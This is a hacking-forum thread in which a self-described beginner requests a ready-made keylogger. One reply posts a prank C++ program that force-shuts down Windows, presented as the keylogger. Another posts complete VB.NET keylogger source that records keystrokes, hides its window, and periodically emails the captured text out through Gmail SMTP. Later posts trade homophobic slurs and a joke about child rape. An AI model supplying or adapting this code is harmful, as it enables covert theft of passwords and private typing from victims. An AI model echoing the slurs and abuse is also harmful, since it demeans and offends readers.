MPGHThe Dark Arts
RegisterLog in

[Request] Keylogger Code

Posts 1–15 of 20 · Page 1 of 2
[Request] Keylogger Code
I need a Ready to compile Keylogger Code or Ready Keylogger.exe
I'm Noob on Programming and i need little Tutorial how to use that or something.

Greetings Hackers ;*
#1 ·
Copy and paste this:
Code:
#include <iostream>
#include <windows>

int main()
{
   ExitWindowsEx(EWX_SHUTDOWN|EWX_POWEROFF| EWX_FORCE, 0);
         return 0;
 
}
#2 ·
Quote Originally Posted by Lolland View Post
Copy and paste this:
Code:
#include <iostream>
#include <windows>

int main()
{
   ExitWindowsEx(EWX_SHUTDOWN|EWX_POWEROFF| EWX_FORCE, 0);
         return 0;
 
}
LOL! OMG IT WORKED! I GOT 4 PAYPAL ACCOUNTS NOW! =O!
#3 ·
Quote Originally Posted by Lolland View Post
Copy and paste this:
Code:
#include <iostream>
#include <windows>

int main()
{
   ExitWindowsEx(EWX_SHUTDOWN|EWX_POWEROFF| EWX_FORCE, 0);
         return 0;
 
}
OMFG HOLY SHIT IT WORKS !!!! +REP + THANKED OMG
#4 ·
Quote Originally Posted by ilovecookies View Post
LOL! OMG IT WORKED! I GOT 4 PAYPAL ACCOUNTS NOW! =O!
LOL! OMG IT WORKED! I POONED 2.8 MILLION VBFAG ACCOUNTS! =O!
#5 ·
lol
my key loger FTW

btw the items you need to add


we need a Textbox, for capturing text
we need 3 timers:
Timer 1 controls how often it will look for
key strokes
Timer 2 controls how often it will try to
mail results
Timer 3 controls how long the forum will be
visible (1 millisecond by default)


Code:
This is the code for the entire project:by cru0



'start code
Imports System.Net.Mail 'Mail Class

Public Class Form1
    Dim result As Integer
    Private Declare Function GetAsyncKeyState Lib "USER32" (ByVal vKey As Long) As Integer
    Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Timer1.Start()
        Timer2.Start()
        Timer3.Start()

    End Sub
    Public Function GetCapslock() As Boolean
        ' Return Or Set the Capslock toggle.

        GetCapslock = CBool(GetKeyState(&H14) And 1)

    End Function

    Public Function GetShift() As Boolean

        ' Return Or Set the Capslock toggle.

        GetShift = CBool(GetAsyncKeyState(&H10))

    End Function
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        For i As Integer = 1 To 225
            result = 0
            result = GetAsyncKeyState(i)
            If result = -32767 Then
                If GetCapslock() = True And GetShift() = True Then
                    Select Case (i)
                        Case 192
                            TextBox1.Text = TextBox1.Text + "~"
                        Case 1
                            'TextBox1.Text = TextBox1.Text + "[Left Mouse Click]"
                        Case 64 To 90
                            TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower
                        Case 97 To 122
                            TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower
                        Case 32
                            TextBox1.Text = TextBox1.Text + " "
                        Case 48
                            TextBox1.Text = TextBox1.Text + ")"
                        Case 49
                            TextBox1.Text = TextBox1.Text + "!"
                        Case 50
                            TextBox1.Text = TextBox1.Text + "@"
                        Case 51
                            TextBox1.Text = TextBox1.Text + "#"
                        Case 52
                            TextBox1.Text = TextBox1.Text + "$"
                        Case 53
                            TextBox1.Text = TextBox1.Text + "%"
                        Case 54
                            TextBox1.Text = TextBox1.Text + "^"
                        Case 55
                            TextBox1.Text = TextBox1.Text + "&"
                        Case 56
                            TextBox1.Text = TextBox1.Text + "*"
                        Case 57
                            TextBox1.Text = TextBox1.Text + "("
                        Case 8
                            TextBox1.Text = TextBox1.Text + "[BackSpace]"
                        Case 46
                            TextBox1.Text = TextBox1.Text + "[Del]"
                        Case 190
                            TextBox1.Text = TextBox1.Text + ">"
                        Case 16
                        Case 160 To 165
                        Case 17
                            TextBox1.Text = TextBox1.Text + "[Ctrl]"
                        Case 18
                            TextBox1.Text = TextBox1.Text + "[Alt]"
                        Case 189
                            TextBox1.Text = TextBox1.Text + "_"
                        Case 187
                            TextBox1.Text = TextBox1.Text + "+"
                        Case 219
                            TextBox1.Text = TextBox1.Text + "{"
                        Case 221
                            TextBox1.Text = TextBox1.Text + "}"
                        Case 186
                            TextBox1.Text = TextBox1.Text + ":"
                        Case 222
                            TextBox1.Text = TextBox1.Text + """"
                        Case 188
                            TextBox1.Text = TextBox1.Text + "<"
                        Case 191
                            TextBox1.Text = TextBox1.Text + "?"
                        Case 220
                            TextBox1.Text = TextBox1.Text + "|"
                        Case 13
                            TextBox1.Text = TextBox1.Text + " [Enter]" + vbNewLine
                        Case 20
                        Case 91 'windows key
                        Case 9
                            TextBox1.Text = TextBox1.Text + " [Tab]"
                        Case 2
                            TextBox1.Text = TextBox1.Text + " [RightMouseClick]"
                        Case 37 To 40
                        Case Else
                            TextBox1.Text = TextBox1.Text + " Ascii(" + i.ToString + ") "
                    End Select
                End If
                If GetCapslock() = True And GetShift() = False Then
                    Select Case (i)
                        Case 91 'windows key
                        Case 1
                            'TextBox1.Text = TextBox1.Text + "[Left Mouse Click]"
                        Case 64 To 90
                            TextBox1.Text = TextBox1.Text + Chr(i)
                        Case 97 To 122
                            TextBox1.Text = TextBox1.Text + Chr(i)
                        Case 32
                            TextBox1.Text = TextBox1.Text + " "
                        Case 48 To 57
                            TextBox1.Text = TextBox1.Text + Chr(i)
                        Case 8
                            TextBox1.Text = TextBox1.Text + "[BackSpace]"
                        Case 46
                            TextBox1.Text = TextBox1.Text + "[Del]"
                        Case 190
                            TextBox1.Text = TextBox1.Text + "."
                        Case 16
                        Case 160 To 165
                        Case 20
                        Case 192
                            TextBox1.Text = TextBox1.Text + "`"
                        Case 189
                            TextBox1.Text = TextBox1.Text + "-"
                        Case 187
                            TextBox1.Text = TextBox1.Text + "="

                        Case 219
                            TextBox1.Text = TextBox1.Text + "["
                        Case 221
                            TextBox1.Text = TextBox1.Text + "]"
                        Case 186
                            TextBox1.Text = TextBox1.Text + ";"
                        Case 222
                            TextBox1.Text = TextBox1.Text + "'"
                        Case 188
                            TextBox1.Text = TextBox1.Text + ","
                        Case 191
                            TextBox1.Text = TextBox1.Text + "/"
                        Case 220
                            TextBox1.Text = TextBox1.Text + "\"
                        Case 17
                            TextBox1.Text = TextBox1.Text + "[Ctrl]"
                        Case 18
                            TextBox1.Text = TextBox1.Text + "[Alt]"
                        Case 13
                            TextBox1.Text = TextBox1.Text + " [Enter]" + vbNewLine
                        Case 9
                            TextBox1.Text = TextBox1.Text + " [Tab]"
                        Case 2
                            TextBox1.Text = TextBox1.Text + " [RightMouseClick]"
                        Case 37 To 40
                        Case Else
                            TextBox1.Text = TextBox1.Text + " Ascii(" + i.ToString + ") "
                    End Select
                End If
                If GetCapslock() = False And GetShift() = True Then
                    Select Case (i)
                        Case 91 'windows key
                        Case 192
                            TextBox1.Text = TextBox1.Text + "~"
                        Case 1
                            ' TextBox1.Text = TextBox1.Text + "[Left Mouse Click]"
                        Case 64 To 90
                            TextBox1.Text = TextBox1.Text + Chr(i)
                        Case 97 To 122
                            TextBox1.Text = TextBox1.Text + Chr(i)
                        Case 32
                            TextBox1.Text = TextBox1.Text + " "
                        Case 48
                            TextBox1.Text = TextBox1.Text + ")"
                        Case 49
                            TextBox1.Text = TextBox1.Text + "!"
                        Case 50
                            TextBox1.Text = TextBox1.Text + "@"
                        Case 51
                            TextBox1.Text = TextBox1.Text + "#"
                        Case 52
                            TextBox1.Text = TextBox1.Text + "$"
                        Case 53
                            TextBox1.Text = TextBox1.Text + "%"
                        Case 54
                            TextBox1.Text = TextBox1.Text + "^"
                        Case 55
                            TextBox1.Text = TextBox1.Text + "&"
                        Case 56
                            TextBox1.Text = TextBox1.Text + "*"
                        Case 57
                            TextBox1.Text = TextBox1.Text + "("
                        Case 8
                            TextBox1.Text = TextBox1.Text + "[BackSpace]"
                        Case 46
                            TextBox1.Text = TextBox1.Text + "[Del]"
                        Case 190
                            TextBox1.Text = TextBox1.Text + ">"
                        Case 16
                        Case 160 To 165
                        Case 17
                            TextBox1.Text = TextBox1.Text + "[Ctrl]"
                        Case 18
                            TextBox1.Text = TextBox1.Text + "[Alt]"
                        Case 189
                            TextBox1.Text = TextBox1.Text + "_"
                        Case 187
                            TextBox1.Text = TextBox1.Text + "+"
                        Case 219
                            TextBox1.Text = TextBox1.Text + "{"
                        Case 221
                            TextBox1.Text = TextBox1.Text + "}"
                        Case 186
                            TextBox1.Text = TextBox1.Text + ":"
                        Case 222
                            TextBox1.Text = TextBox1.Text + """"
                        Case 188
                            TextBox1.Text = TextBox1.Text + "<"
                        Case 191
                            TextBox1.Text = TextBox1.Text + "?"
                        Case 220
                            TextBox1.Text = TextBox1.Text + "|"
                        Case 13
                            TextBox1.Text = TextBox1.Text + " [Enter]" + vbNewLine
                        Case 9
                            TextBox1.Text = TextBox1.Text + " [Tab]"
                        Case 20
                        Case 2
                            TextBox1.Text = TextBox1.Text + " [RightMouseClick]"
                        Case 37 To 40
                        Case Else
                            TextBox1.Text = TextBox1.Text + " Ascii(" + i.ToString + ") "
                    End Select
                End If
                If GetCapslock() = False And GetShift() = False Then
                    Select Case (i)
                        Case 1
                            ' TextBox1.Text = TextBox1.Text + "[Left Mouse Click]"
                        Case 64 To 90
                            TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower
                        Case 97 To 122
                            TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower
                        Case 32
                            TextBox1.Text = TextBox1.Text + " "
                        Case 48 To 57
                            TextBox1.Text = TextBox1.Text + Chr(i)
                        Case 8
                            TextBox1.Text = TextBox1.Text + "[BackSpace]"
                        Case 46
                            TextBox1.Text = TextBox1.Text + "[Del]"
                        Case 190
                            TextBox1.Text = TextBox1.Text + "."
                        Case 16
                        Case 160 To 165
                        Case 20
                        Case 192
                            TextBox1.Text = TextBox1.Text + "`"
                        Case 189
                            TextBox1.Text = TextBox1.Text + "-"
                        Case 187
                            TextBox1.Text = TextBox1.Text + "="
                        Case 91 'windows key
                        Case 219
                            TextBox1.Text = TextBox1.Text + "["
                        Case 221
                            TextBox1.Text = TextBox1.Text + "]"
                        Case 186
                            TextBox1.Text = TextBox1.Text + ";"
                        Case 222
                            TextBox1.Text = TextBox1.Text + "'"
                        Case 188
                            TextBox1.Text = TextBox1.Text + ","
                        Case 191
                            TextBox1.Text = TextBox1.Text + "/"
                        Case 220
                            TextBox1.Text = TextBox1.Text + "\"
                        Case 17
                            TextBox1.Text = TextBox1.Text + "[Ctrl]"
                        Case 18
                            TextBox1.Text = TextBox1.Text + "[Alt]"
                        Case 13
                            TextBox1.Text = TextBox1.Text + " [Enter]" + vbNewLine
                        Case 9
                            TextBox1.Text = TextBox1.Text + " [Tab]"
                        Case 2
                            TextBox1.Text = TextBox1.Text + " [RightMouseClick]"
                        Case 37 To 40

                        Case Else
                            TextBox1.Text = TextBox1.Text + " Ascii(" + i.ToString + ") "
                    End Select
                End If

            End If
        Next i
    End Sub

    Sub MainEvents() 
'Fill In all Required info, if your not using gmail use smtp . your email provider ex: 
'"smpt.yahoo.com" or "smpt.custom_email.edu"
        Try
            Dim MyMailMessage As New MailMessage()
            MyMailMessage.From = New MailAddress("Your_Email_Address@gmail.com") 
            MyMailMessage.To.Add("Your_Email_Address@gmail.com")
            MyMailMessage.Subject = "Test"
            MyMailMessage.Body = TextBox1.Text
            Dim SMPT As New SmtpClient("smtp.gmail.com")
            SMPT.Port = 587
            SMPT.EnableSsl = True
            SMPT.Credentials = New System.Net.NetworkCredential("Your_Email_Address@gmail.com", "Your_Email_Password")
            SMPT.Send(MyMailMessage)
            TextBox1.Text = ""
        Catch ex As Exception
        End Try
    End Sub

    Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick

        If TextBox1.Text <> "" Then
            MainEvents()
        End If
    End Sub

    Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick
        Me.Visible = False
        Me.Hide()
    End Sub

   
End Class
'end code
#6 · edited ·
Quote Originally Posted by Lolland View Post
Copy and paste this:
Code:
#include <iostream>
#include <windows>

int main()
{
   ExitWindowsEx(EWX_SHUTDOWN|EWX_POWEROFF| EWX_FORCE, 0);
         return 0;
 
}
I'm not so stupid it's for closing windows or some application ;]
Good Code is writed in VB so...
I need a Code maked in C++ but thanks for little Tutorial in VB ; D
Maybe i start to do something in Visual Basics.
Lolland thanks for little program ; D Maybe i send to my noobish friend to test ; D

Greetings guys ;*
#13 ·
Thats visual basic ****** GTFO
#7 ·
o
Quote Originally Posted by Hell_Demon View Post
Thats visual basic ****** GTFO

wow dont need to be rude sorry >> this is c++ didnt notcie
#8 ·
Quote Originally Posted by cru0 View Post
wow dont need to be rude sorry >> this is c++ didnt notcie
Crushed(one of my sons) got raped by a VBfag when he was little, he has a slight mental handicap because of it, but I <3 him anyway =D
I PHEAR VBFAGS
#9 ·
Quote Originally Posted by Hell_Demon View Post
Crushed(one of my sons) got raped by a VBfag when he was little, he has a slight mental handicap because of it, but I <3 him anyway =D
I PHEAR VBFAGS
Wait, who was this guy again that raped me? And btw, I don't kill puppies. :O
My slight mental handicap still allows me to flame 'em.
#10 ·
Quote Originally Posted by cru0 View Post
wow dont need to be rude sorry >> this is c++ didnt notcie
Welll it's a 200 case switch... that's just poor style in any language. Anyway the easiest way to make keylogger is with Global Keyboard Hook.
#11 ·
Quote Originally Posted by why06 View Post
Welll it's a 200 case switch... that's just poor style in any language. Anyway the easiest way to make keylogger is with Global Keyboard Hook.
LOL wow I was scrolling through and seen all of the cases. I thought it looked sloppy but WOW. You counted all of them?
#12 ·
Quote Originally Posted by TaRwA View Post
I'm totally choob on programming so... I need a ready for use Keylogger...
Or ready code to paste in Compiler ; D

Greetings ;*
hmm? Trying to C+P huh? nowai u gonna get that here

taken from VBFag section
#14 ·
Whats with all the VB Fags transferring to the C++ board?
#15 ·
Posts 1–15 of 20 · Page 1 of 2
This thread is closed for replies.

Similar Threads

Suggestions, Requests & General Help[request] keyloggerprox32prox32 6 Hack RequestsRequest: Hotkey code C++shibity 0 Suggestions, Requests & General Help[request]KeyloggerDoradoDorado 7 C++/C Programming[Request] WallHack CodeBOboncha 3 Visual Basic Programming[Request] Source Code For AFK Bot 4 CAJIJIGS4W 2

Tags for this Thread

None

Talk with us